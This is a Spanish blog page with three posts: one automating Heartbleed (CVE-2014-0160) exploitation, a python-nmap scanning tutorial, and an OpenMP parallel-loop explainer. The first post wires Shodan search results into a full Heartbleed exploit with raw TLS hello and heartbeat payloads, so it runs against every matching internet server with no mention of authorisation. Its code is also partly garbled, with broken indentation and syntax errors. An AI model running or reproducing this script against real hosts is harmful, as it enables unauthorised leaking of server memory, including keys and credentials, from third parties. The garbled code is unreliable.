jueves, 26 de noviembre de 2015

Automatizando un proceso de pentesting.


"Si lo tienes que hacer de la misma forma más de tres veces.... tienes que empezar a plantearte hacer un programa."

Con esa entrada ya lo he dicho todo.

Vamos a crear un programa que haga dos cosas: una búsqueda automática de un sistema con una vulnerabilidad específica y luego vamos a aplicarle un exploit que ya exista.

No vamos a crear el exploit, ni siquiera deberíamos entender que hace el exploit ya que normalmente suelen requerir bastantes conocimientos. Aunque debemos ser lo suficientemente buenos programadores para ser capaz de meter mano al exploit y remodelarlo a nuestro gusto.

Al igual que si lo hiciéramos de forma artesanal, lo primero que debemos hacer es buscar la vulnerabilidad. Hay muchas maneras, en este programa vamos a usar, y de paso la doy a conocer, el API de programación de Shodan.

Una vez localizado los posibles objetivos lanzamos sobre ellos el exploit y esperamos los resultados. Vamos a elegir algo sencillo y muy de moda: la vulnerabilidad CVE-2014-0160  de HeartBleed. Antes de entrar en materia conviene entender  que es esa vulnerabilidad.

https://xkcd.com/1354/ (Con viñetas)

http://www.engadget.com/2014/04/12/heartbleed-explained/ (Sin tecnicismo)

O si queremos algo más técnico (sólo para incodicionales del lenguaje ensamblador): http://www.engadget.com/2014/04/12/heartbleed-explained/


Localizando objetivos.


Usaremos la API de Shodan previamente para poder usarla hemos de obtener la clave API de esta web https://developer.shodan.io/.
Para usar Shodan en su funcionalidad completa deberemos comprar algún tipo de licencia, pero para poder realizar la práctica podemos obtener la clave gratuita. Esta clave nos limita la capacidad de filtrado y nos da únicamente una pequeña parte de los resultados obtenidos.

Para programar usaremos Python que gracias a la gran cantidad de módulos disponible nos vale para todo. Nos descargamos e instalamos la librería nmap y ya vamos al lío.


import shodan
shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
      except shodan.APIError, e:
         print 'Error %s' % e





Ejecutamos y así de fácil obtenemos un resultado parecido a este.




Notaréis que se imprimen muchos menos sistemas que los que dice haber encontrado. Eso es debido al tipo de API que usamos tal y como dije arriba.


Seleccionando el exploit.


Ahora sólo tenemos que buscar un exploit que aprovecha esta vulnerabilidad. Hay multitud de ellos y vamos a localizar uno que tenga poca complicación. Por ejemplo este

 https://www.exploit-db.com/exploits/32745/

Este exploit es bastante simple y no tiene en cuenta bastantes situaciones que se pueden dar, así que nos veremos obligados a realizar dos tareas:

Convertirlo en función dentro del esquema anterior.
Contemplar algunas situaciones para evitar que se pare en medio de una ejecución.

Integrando el exploit en el script


Se pueden encontrar exploits mas completos, algunos dan una explicación del valor de cada octeto del helloServer, que en este exploit viene totalmente descarnado.

import nmap
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01 ''')

Añadimos los módulos necesarios y las funciones.



import shodan
import sys
import struct
import socket
import time
import select
import re

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
try:
  data = s.recv(remain)
except:
print 'Error receiving'
return None
            # EOF?
if not data:
return None
rdata += data
remain -= len(data)
    return rdata
     

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
 status = 'Unexpected EOF receiving record header - server closed connection'
 print status
 return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
 status =  'Unexpected EOF receiving record payload - server closed connection'
 print status
 return None, None, None
    status = ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            #print 'No heartbeat response received, server likely not vulnerable'
status = 'No heartbeat response received, server likely not vulnerable'
print status
return False

        if typ == 24:
            #print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                #print 'WARNING: server returned more data than it should - server is vulnerable!'
status = 'WARNING: server returned more data than it should - server is vulnerable!'
print status
            else:
                #print 'Server processed malformed heartbeat, but did not return any extra data.'
status= 'Server processed malformed heartbeat, but did not return any extra data.'
print status
            return True

        if typ == 21:
            #print 'Received alert:'
hexdump(pay)
            #print 'Server returned error, likely not vulnerable'
status = 'Server returned error, likely not vulnerable'
print status
return False



shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
      except shodan.APIError, e:
         print 'Error %s' % e

Cambiamos de nombre la función main del exploit y la llamamos sslpentest y que admite dos parámetros la dejamos entonces así:


def sslpentest(ip_addr, puerto):

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((ip_addr, puerto))
except:
print 'Timeout connecting'
return
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
status =  'Server closed connection without sending Server Hello.'
print status
return
        # Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

    #print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s


Y añadimos la llamada a la nueva función en el main

shodanKey = 'Shodan API Key'
shodan1 = shodan.Shodan(shodanKey)
if __name__ == '__main__':
   k = 0
   try:
      shodan1 = shodan1.search('OpenSSL/1.0.1')
      print 'Total servidores encontrados: %s' % str(shodan1.count) 
      for result in shodan1['matches']:
         print 'IP: %s' % result['ip_str']
         print result['data']
         sslpentest(result['ip_str'], '443')
      except shodan.APIError, e:
         print 'Error %s' % e


Con lo que hemos hecho, el script funcionaría pero al no controlar los errores se nos puede parar. Como el programa está pensando para testear un solo equipo el programador no ha tenido en cuenta esa precaución. Pero como nuestra intención es dejar el programa realizando el test sobre un número indeterminado debemos tomar la precaución de controlar los errores que podemos esperar. En rojo en los textos anteriores se puede ver que he colocado dos sentencias try.....catch.

La primera en el momento de la conexión y la otra en la lectura.

Ejecutando el script. 


Solo tenemos que ejecutar el script. Si tuviéramos una clave "pro" de shodan el script se tomaría su tiempo, pero al tener la gratuita, son pocos los equipos sobre los que podemos realizar la prueba.

Ejecutamos, esperamos veremos que lo normal es ir sacando esto:




Y si tenemos la suerte de que uno de esos equipos sea vulnerable tendremos una salida como esta:



Empieza así




Y  tras  varios pantallazos acabaría así: 





Pendiente

El script todavía necesita algunas cosas para ser completo.
Sólo trabaja con el puerto 443 y debería trabajar con todos los puertos abiertos. Para ello habría que integrar tambien el módulo de nmap para un por cada equipo localizado detectara todos los puertos abiertos y lanzara el helloserver a cada uno de ellos.

Un buen ejercicio para quien siga este blog.




domingo, 6 de septiembre de 2015

Accediendo a nMap desde Python

Ya hace tiempo, al inicio de este blog, dediqué varios capítulos a nMap, uno de los más potentes scanneres de red. En este artículo vamos a volver a nMap pero tratándolo de otra manera.
Vamos a acceder a los servicios de nMap desde un programa en Python.
El acceso a nMap nos permite automatizar ciertas tareas que realizamos de forma rutinaria, por ejemplo chequeos periódicas de nuestras instalaciones y, lo más importante en mi opinión, poder guardar esta información en una base de datos.

Y sin decir mucho más creo que a todos se nos hace obvio el abanico de posibilidades que se nos abre, así que pasemos a la acción.


Instalando la biblioteca

La comunicación entre Python y nMap se consigue con la biblioteca python-nmap que se puede descargar  de este enlace http://xael.org/norman/python/python-nmap/
Hay que tener cuidado y descargar la versión que es compatible con nuestro Python (2.7 o 3x)
Descomprimimos el fichero zip descargado y desde el mismo directorio donde hemos realizado la descompresión ejecutamos:

python setup.py install

Esperamos a que el script nos informe de que el proceso de instalación ha finalizado correctamente.
Ya estamos en condiciones de trabajar con nMap desde python. Lo primero que haremos es verificar que python está correctamente instalado.

Abrimos una sesión online de python e importamos la biblioteca. Si no hay mensajes de informen de errores listamos los elementos de esta biblioteca.

Navegando por la información

Una vez importada la bibioteca nmap listamos el contenido: dir(nmap)



Vemos hay hay varias funciones del tipo PortScanner y que son las que nos permitirán lanzar los test de nMap.

Vamos primero a familiarizarnos con la información que obtenemos



Para mejor entender la información que no da voy a formatear la información para que sea más compresible



{'nmap': {
    ' scanstats': {
        'uphosts': '1',
        'timestr': 'Mon Aug 31 18:29:00 2015',
        'downhosts': '0', 'totalhosts': '1',
        'elapsed': '1.40'},
    'scaninfo': {
        'tcp': {
            'services': '22',
            'method': 'connect'}},
    'command_line': 'nmap -oX - -p 22 -sV 192.168.1.137'},                               
    'scan': {
        '192.168.1.137': {
            'status': {
                 'state': 'up',
                 'reason': 'conn-refused'},
            'hostnames': [],
            'vendor': {},
            'addresses': {
                'ipv4': '192.168.1.137'},
           'tcp': {
                22: {
                     'product': 'OpenSSH',
                     'state': 'open',
                     'version': '6.0p1 Debian 4+deb7u2',
                     'name': 'ssh',
                     'conf': '10',
                     'extrainfo': 'protocol 2.0',
                     'reason': 'syn-ack',
                     'cpe': 'cpe:/o:linux:linux_kernel'}}}}} }

Podemos acceder a la información usando los métodos que nos proporciona el objeto PortScanner:




Por cada dirección IP scaneada obtenemos un objeto de tipo host. Por ejemplo si hubieramos ejecutado el siguiente portscan:

nm.scan('192.168.1.0/24', '22')

Obtenemos una salida similar a esta




Que de forma más esquemática quedaría así:



Tenemos una lista hosts cada uno identificado por su dirección IP, y para acceder a cada uno de ellos usamos la forma habitual de python para manejar listas



Podemos intentar localizar un host determinado con el método has_host


Con esta introducción ya estamos en consecuencia de realizar nuestro primer programa python que será muy sencillo.

Lo único que hará el programa es realizar un scan de un rango de direcciones y por cada host que encuentre creará una entrada en una lista y Y cuando finalice mostrará en pantalla la lista de equipos que haya encontrado y su dirección IP.


import nmap
class NmapHost:
    def __init__(self):
        self.host = None
        self.state = None
        self.reason = None

def parseNmapScan(scan):
    nmapHosts = []
    for host in scan.all_hosts():
        nmapHost = NmapHost()
        nmapHost.host = host
        if scan[host].has_key('status'):
            nmapHost.state = scan[host]['status']['state']
            nmapHost.reason = scan[host]['status']['reason']
            if scan[host].has_key('addresses'):
                if scan[host]['addresses'].has_key('mac'):
                    nmapHost.mac = scan[host]['addresses']['mac']
                else:
                    nmapHost.mac = '00:00:00:00:00:00:00'
                nmapHost.ipV4 = scan[host]['addresses']['ipv4']
           
        nmapHosts.append(nmapHost)                   
    return nmapHosts
if __name__ == '__main__':
    nm = nmap.PortScanner()
    nm.scan('192.168.1.0/24', '22-500')
    structureNmap = parseNmapScan(nm)
    for nmapHost in structureNmap:
        print '[-] Host: ' + nmapHost.host + ' is ' + nmapHost.state
        if  nmapHost.mac != '00:00:00:00:00:00:00':
            print '[-]         MAC: ' + nmapHost.mac
        print '[-]         IP V4: ' + nmapHost.ipV4


El programa no requiere mucha más explicación y nos da un código mínimo para aprender la listar el resto de la información suministrada por el método PortScanner

martes, 19 de mayo de 2015

Programación paralela (y IV) - La directiva for

En todas las versiones del programa que nos calcula el número PI siempre hemos hecho algo en común: Hemos dividido las N iteraciones entre el número de threads y mediante la expresión

 for (i = stage ; i < stage + hop; i++)

 hemos fraccionado el trabajo de forma uniforme entre todas las threads recordando que el valor de la variable stage depende del identificador de thread en el que se está ejecutando y que obtenemos usando la función omp_get_thread_num()

 De forma gráfica se podría ver esto así:



La directiva for


 En OMP tenemos una directiva que nos permite hacer esto de forma más simple. Esta directiva tiene es homónima de la instrucción en C a la que pretende complementar, es decir la directiva for


 #pragma omp parallel
  {
  #pragma omp for
 .........
 ..........

  }

}

El programa para el cálculo pi si usamos esta directiva queda así:

#include <stdio.h>
#include <omp.h>
#include <time.h>
#include <sys/types.h>
static long num_steps = 100000000;
#define NUM_TRHEADS  2
double step, pi,x;
double sum =0.0; //[NUM_TRHEADS];
int main()
{

int i;
step = 1.0/(double) num_steps ;
omp_set_num_threads(NUM_TRHEADS);
#pragma omp parallel private(i,x) reduction(+:sum)                                                                
{


#pragma omp for schedule(static)
for (i = 0 ; i < num_steps; i++) {
x = (i + 0.5) * step;
sum += 4.0/(1.0 +x*x);
}
}
pi = step * sum;
printf("El numero Pi es: %2.10f\n", pi);
}

Como hay bastantes diferencias las vamos a ir viendo, no en secuencia de arriba abajo, como hemos hecho otras veces, si no de de la parte más interna del código, la que tiene más llaves a su alrededor.

La parte más interna corresponde al bucle 


 for (i = 0 ; i < num_steps; i++)                                                                                               


Cuyas condiciones de condiciones son las misma que teníamos en la primera versión del programa, la que no era multiproceso. 

Nos hemos "liberado" de tener que poner el código necesario para realizar el fraccionamiento del bucle que teníamos  para las versiones con proceso paralelo: 


#pragma omp parallel
    {
int i;
double x;
int ID=omp_get_thread_num();
int long stage;
sum[ID] =0.0;
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {                                                                              
x = (i + 0.5) * step;
sum[ID] += 4.0/(1.0 +x*x);
}

    }                       

Núcleo del programa en programación paralela


La directiva #pragma omp for schedule(static)  es quien nos gestiona este trabajo. Pero esta directiva es mucho más potente. En este ejemplo hemos tratado con la forma más sencilla. La directiva schedule tiene la siguente sintaxis:

schedule (tipo [,fraccionamiento])

  • tipo admite los valores: static, dynamic, guided.
  • fraccionamiento: es el rango de iteraciones que se va a asignar a cada proceso paralelo.
Si se especifica static y no se pone ningún valor para fraccionamiento, éste toma el valor del número de iteraciones divido entre el número de tareas, que en nuestro ejemplo es el algoritmo que usamos para calcular 

i = stage ; i < stage + hop

A partir de esta base podemos jugar con todas las demás posibilidades que tiene la directiva schedule y que será muy útil se cada iteración tiene dentro cálculos más complejos y menos uniformes que nuestro ejemplo. 

Saltando un escalón más hacia arriba nos encontramos con la ya conocida directiva  #pragma omp parallel  a la que hemos añadido algunos parámetros más:  

 private(i,x) reduction(+:sum)  

El primero  de ellos [private(v1, v2, ... vn)] da instrucciones para que en tiempo de ejecución se cree un juego de  esas variables en cada proceso paralelo y sólo accesible dentro de cada uno de ellos. Nos vale para sustituir las declaraciones de variables:


int i;
double x;

La sentencia [reduction(+:sum)] nos evita tener que difinir expresamente una matriz para para almacenar el resultado de cada proceso. Recordemos que debíamos de definir una matriz para los resultados y cada proceso almacenaba su resultado en un elemento de esa matriz. 

int ID=omp_get_thread_num();
int long stage;
sum[ID] =0.0;        
stage = hop * ID;
for (i = stage ; i < stage + hop; i++) {
x = (i + 0.5) * step;
sum[ID] += 4.0/(1.0 +x*x);

Y posteriormente debíamos "ensamblar" los resultados parciales: 


for (j = 0; j < NUM_TRHEADS; j++) pi += sum[j] * step;
printf("El numero Pi es: %2.10f\n", pi);

Resumiendo.

Gracias a la directiva for logramos poder realizar una programación paralela pero dejando los núcleos del algoritmo independiente de si el proceso de va a ejecutar en uno o varios threads. 
Me dejo bastantes más cosas pendientes pero que haría esta serie demasiado larga. 

En el ámbito de visibilidad de datos hemos visto private y reduction, pero tenemos otras como shared, firstprivate, lastprivate.

En la sincronización hemos visto la directiva critical, pero está: barrier, taskwait, atomic.

Y para finalizar la directiva for es una de las estructuras de comparticion de tareas, pero están también las directivas section, single.

Información sobre todas estas estructura se pueden encontrar en esta dirección:  https://computing.llnl.gov/tutorials/openMP/